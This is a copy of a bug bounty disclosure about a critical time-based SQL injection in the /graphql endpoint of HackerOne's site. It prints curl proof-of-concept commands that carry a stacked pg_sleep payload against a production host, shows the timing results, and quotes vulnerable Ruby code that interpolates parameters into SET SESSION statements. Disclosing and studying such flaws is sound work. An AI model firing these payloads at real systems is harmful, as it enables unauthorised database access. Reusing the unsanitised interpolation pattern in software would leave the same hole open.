Scribd
Upload
87 views

SQL Injection in GraphQL Endpointgggg

Ggg

Uploaded by

riapoul8
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
87 views

SQL Injection in GraphQL Endpointgggg

Ggg

Uploaded by

riapoul8
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 3

SQL Injection in GraphQL

Endpoint
Bug 🐞 SQL Injection

Severity Critical (10.0)

Asset ☑️ GraphQL

🎉 Bounty Award None

Reported 👋🏻 Jobert Abma (jobert)

Vulnerability Description:
The embedded_submission_form_uuid parameter in the /graphql endpoint is
vulnerable to SQL injection. By manipulating this parameter, an attacker can
inject arbitrary SQL queries, potentially leading to unauthorized access or data
leakage.

Proof of Concept:
To reproduce the vulnerability:

Execute the following command with the manipulated


embedded_submission_form_uuid parameter:

Locally:

curl -X POST http://localhost:8080/graphql\?embedded_submis


sion_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30
\)%3B--%27

HackerOne.com:

curl -X POST https://hackerone.com/graphql\?embedded_submis


sion_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30
\)%3B--%27

SQL Injection in GraphQL Endpoint 1


Additional Proof:

$ time curl -X POST https://hackerone.com/graphql\?embedded


_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_slee
p\(5\)%3B--%27
{}curl -X POST 0.03s user 0.01s system 0% cpu 5.726 total
$ time curl -X POST https://hackerone.com/graphql\?embedded
_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_slee
p\(1\)%3B--%27
{}curl -X POST 0.03s user 0.01s system 2% cpu 1.631 total
$ time curl -X POST https://hackerone.com/graphql\?embedded
_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_slee
p\(10\)%3B--%27
{}curl -X POST 0.02s user 0.01s system 0% cpu 10.557 tota
l

Impact:
The SQL injection appears to execute within the context of the secure schema.
While the full impact is currently unknown, given the ability for an attacker to
potentially switch schemas, it should be considered as having a high impact on
confidentiality.

Impacted Data:
No exploitation of the vulnerability has been detected. Further details can be
found in the report below.

Root Cause:
The vulnerability stems from the decision to use GraphQL parameters, which
were not properly sanitized, instead of input fields when introducing the
embedded submission form feature. Below is a snippet of the vulnerable code:

unless database_parameters_up_to_date
safe_query = ''

new_parameters.each do |key, value|

😮
safe_query += "SET SESSION #{key} TO #{value};" # <--

SQL Injection in GraphQL Endpoint 2


end

begin
connection.query(safe_query)
rescue ActiveRecord::StatementInvalid => e
# NOTE: when the transaction is aborted, we cannot set
or reset any parameters.
# Changes of previous SET statements are undone as wel
l, so we can safely do
# nothing here
raise e unless e.cause.is_a? PG::InFailedSqlTransaction
end
end

The usage of parameters in PostgreSQL queries is necessitated by the


database having two separate schemas: the public schema and the secure
schema. GraphQL queries default to the secure schema, which returns data
based on user authorization. Despite this, the vulnerability poses a risk to
confidentiality.

Recommendations:
Immediately patch the vulnerability by implementing proper parameter
sanitation in GraphQL queries.

Conduct a thorough security review to identify and address any similar


vulnerabilities in the system.

Consider restricting access to sensitive endpoints or implementing


additional authentication measures to mitigate potential risks.

Reference:
https://hackerone.com/reports/435066

SQL Injection in GraphQL Endpoint 3

You might also like